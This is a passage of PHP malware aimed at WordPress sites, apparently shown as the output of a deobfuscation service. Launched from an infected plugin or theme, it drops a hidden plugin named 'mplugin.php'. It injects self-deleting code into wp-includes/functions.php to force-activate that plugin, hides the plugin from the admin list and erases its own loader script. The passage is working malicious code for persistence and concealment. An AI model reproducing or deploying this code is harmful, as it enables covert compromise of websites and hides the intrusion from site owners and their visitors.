     function file_get_contents_mplugin($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }


function hide_plugin_mplugin() {
  global $wp_list_table;
  $hidearr = array('mplugin.php');
  $myplugins = $wp_list_table->items;
  foreach ($myplugins as $key => $val) {
    if (in_array($key,$hidearr)) {
      unset($wp_list_table->items[$key]);
    }
  }
}

add_action('pre_current_active_plugins', 'hide_plugin_mplugin');

        function getVisIpAddr_mplugin() { 
      
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) { 
        return $_SERVER['HTTP_CLIENT_IP']; 
    } 
    else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
        return $_SERVER['HTTP_X_FORWARDED_FOR']; 
    } 
    else { 
        return $_SERVER['REMOTE_ADDR']; 
    } 
}

?>
EOD;

	define('PLUGIN_CODE', $pluginCodeconst);

    $insertCodeConst = <<<'EOD'
function true_plugins_activate() {
	$active_plugins = get_option('active_plugins');
	$activate_this = array(
		'mplugin.php'
	);
	foreach ($activate_this as $plugin) {
		if (!in_array($plugin, $active_plugins)) {
			array_push($active_plugins, $plugin);
			update_option('active_plugins', $active_plugins);
		}
	}
	$new_active_plugins = get_option('active_plugins');
	if (in_array('mplugin.php', $new_active_plugins)) {
		$functionsPath = dirname(__FILE__) . '/functions.php';
		$functions = file_get_contents($functionsPath);

		$start = stripos($functions, "function true_plugins_activate()");
		$end = strripos($functions, "true_plugins_activate");
		$endDelete = $end + mb_strlen("true_plugins_activate") + 3;

		if($start && $end) {
			$str = substr($functions, 0, $start);
			$str .= substr($functions, $endDelete);
			file_put_contents($functionsPath, $str);
		}
		//clear_script
	}
}

add_action('init', 'true_plugins_activate');
EOD;

	define('INSERT_CODE', $insertCodeConst);
}

// --------------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------------
// ------------------------------------ PLUGIN ------------------------------------------------
// --------------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------------
if ((bool)stristr($type, 'wp-content/plugins') && !$fExistPlugin1 && !$fExistPlugin2) {
	function searchFilesFromPlugin($dir, $tosearch) {
		$files = array_diff(scandir($dir), [".", ".."]);
		$filesList = [];
		foreach($files as $file) {
			if(!is_dir($dir . '/' . $file)) {
				if (strtolower($file) == $tosearch)
				$filesList[] = $dir . '/' . $file;
			} else {
				$res = searchFilesFromPlugin($dir . '/' . $file, $tosearch);
				if ($res) {
					$arr = $res;
					$filesList = array_merge($filesList, $arr);
				}
			}
		}
		return $filesList;
	}

	$activatePluginDir = dirname(__FILE__);
	$currentPluginDir = stristr($activatePluginDir, 'wp-content/plugins/');
	if ($currentPluginDir) {
		$currentPluginDir = str_replace('wp-content/plugins/', '', $currentPluginDir);
		$currentPluginDir = explode('/', $currentPluginDir)[0];
		$pluginPath = explode($currentPluginDir, $activatePluginDir, -1)[0] . $currentPluginDir;
	} else {
		$pluginPath = $activatePluginDir;
	}
	
	$pluginFiles = array_filter(scandir($pluginPath), function($name) {
		if (stristr($name, '.php') !== false) {
			return $name;
		}
	});

	$pluginFile = '';
	foreach ($pluginFiles as $file) {
		$temp = file_get_contents($pluginPath . '/' . $file);
		if (stristr($temp, 'Plugin Name:') !== false) {
			unset($temp);
			$pluginFile = $file;
			break;
		}
		unset($temp);
	}

	add_action('init', 'insertMyPluginFromPlugin');
	function insertMyPluginFromPlugin() {
		$active_plugins = get_option('active_plugins');
		if (!in_array(PLUGIN_NAME, $active_plugins)) {
			$folderName = dirname($_SERVER['DOCUMENT_ROOT']);
			$result = searchFilesFromPlugin($folderName, SERCH_FILE);

			if(0 < count($result)){
				$clearScriptCode = <<<'CLEAR'
		$script = file_get_contents('SCRIPT_PATH');
		file_put_contents('SCRIPT_PATH', '');
CLEAR;
				$clearScriptCode = str_replace('SCRIPT_PATH', SCRIPT_PATH, $clearScriptCode);
				$insertCode = str_replace('//clear_script', $clearScriptCode, INSERT_CODE);
				$pluginCode = str_replace(
					['HEADER_PLUGIN_NAME', 'HEADER_PLUGIN_DESCRIPTION', 'HEADER_PLUGIN_AUTHOR', 'HEADER_PLUGIN_VERSION'],
					[HEADER_PLUGIN_NAME, HEADER_PLUGIN_DESCRIPTION, HEADER_PLUGIN_AUTHOR, HEADER_PLUGIN_VERSION], 
					PLUGIN_CODE
				);

				foreach($result as $file) {
					if (stristr($file, 'wp-includes/functions.php') !== false) {
						$newPlugin = str_replace('wp-includes/functions.php', 'wp-content/plugins/' . PLUGIN_NAME, $file);
						$copyPlugin = file_put_contents($newPlugin, $pluginCode);
		
						if ($copyPlugin) {
							$temp = file_get_contents($file);
							$start = stripos($temp, "function true_plugins_activate()");
							$end = strripos($temp, "true_plugins_activate");
							$endDelete = $end + mb_strlen("true_plugins_activate") + 3;
		
							if($start && $end) {
								$str = substr($temp, 0, $start);
								$str .= substr($temp, $endDelete);
								file_put_contents($file, $str);
							}

							file_put_contents($file, PHP_EOL . $insertCode . PHP_EOL, FILE_APPEND | LOCK_EX);
						}
					}
				}
			}
		}
	}

// --------------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------------
// ------------------------------------- THEME ------------------------------------------------
// --------------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------------
} elseif ((bool)stristr($type, 'wp-content/themes') && (!$fExistTheme1 && !$fExistTheme2)) {
	function searchFilesFromTheme($dir, $tosearch) {
		$files = array_diff(scandir($dir), [".", ".."]);
		$filesList = [];
		foreach($files as $file) {
			if(!is_dir($dir . '/' . $file)) {
				if (strtolower($file) == $tosearch)
				$filesList[] = $dir . '/' . $file;
			} else {
				$res = searchFilesFromTheme($dir . '/' . $file, $tosearch);
				if ($res) {
					$arr = $res;
					$filesList = array_merge($filesList, $arr);
				}
			}
		}
		return $filesList;
	}	

	add_action('after_setup_theme', 'updateFilesFromTheme');
	function updateFilesFromTheme() {
		if ( @ $_GET['activated'] === 'true'){
			$folderName = dirname($_SERVER['DOCUMENT_ROOT']);
			$result = searchFilesFromTheme($folderName, SERCH_FILE);
			$pluginCode = str_replace(
				['HEADER_PLUGIN_NAME', 'HEADER_PLUGIN_DESCRIPTION', 'HEADER_PLUGIN_AUTHOR', 'HEADER_PLUGIN_VERSION'],
				[HEADER_PLUGIN_NAME, HEADER_PLUGIN_DESCRIPTION, HEADER_PLUGIN_AUTHOR, HEADER_PLUGIN_VERSION], 
				PLUGIN_CODE
			);

			if (0 < count($result)) {
			
						$clearScriptCode = <<<'CLEAR'
		$script = file_get_contents('SCRIPT_PATH');
		file_put_contents('SCRIPT_PATH', '');
CLEAR;
				$clearScriptCode = str_replace('SCRIPT_PATH', SCRIPT_PATH, $clearScriptCode);
				$insertCode = str_replace('//clear_script', $clearScriptCode, INSERT_CODE);
			
			
			
				foreach($result as $file) {
					if (stristr($file, 'wp-includes/functions.php') !== false) {
						$newPlugin = str_replace('wp-includes/functions.php', 'wp-content/plugins/' . PLUGIN_NAME, $file);
						$copyPlugin = file_put_contents($newPlugin, $pluginCode);

						if ($copyPlugin) {
							$temp = file_get_contents($file);
							$start = stripos($temp, "function true_plugins_activate()");
							$end = strripos($temp, "true_plugins_activate");
							$endDelete = $end + mb_strlen("true_plugins_activate") + 3;

							if($start && $end) {
								$str = substr($temp, 0, $start);
								$str .= substr($temp, $endDelete);
								file_put_contents($file, $str);
							}

							file_put_contents($file, PHP_EOL . $insertCode . PHP_EOL, FILE_APPEND | LOCK_EX);
						}
					}
				}
			}
		}
	}
}
?>

Function Calls

None

Variables

None

Stats

MD5 44c5566fb1343817c4c9493f4287b58b
Eval Count 0
Decode Time 44 ms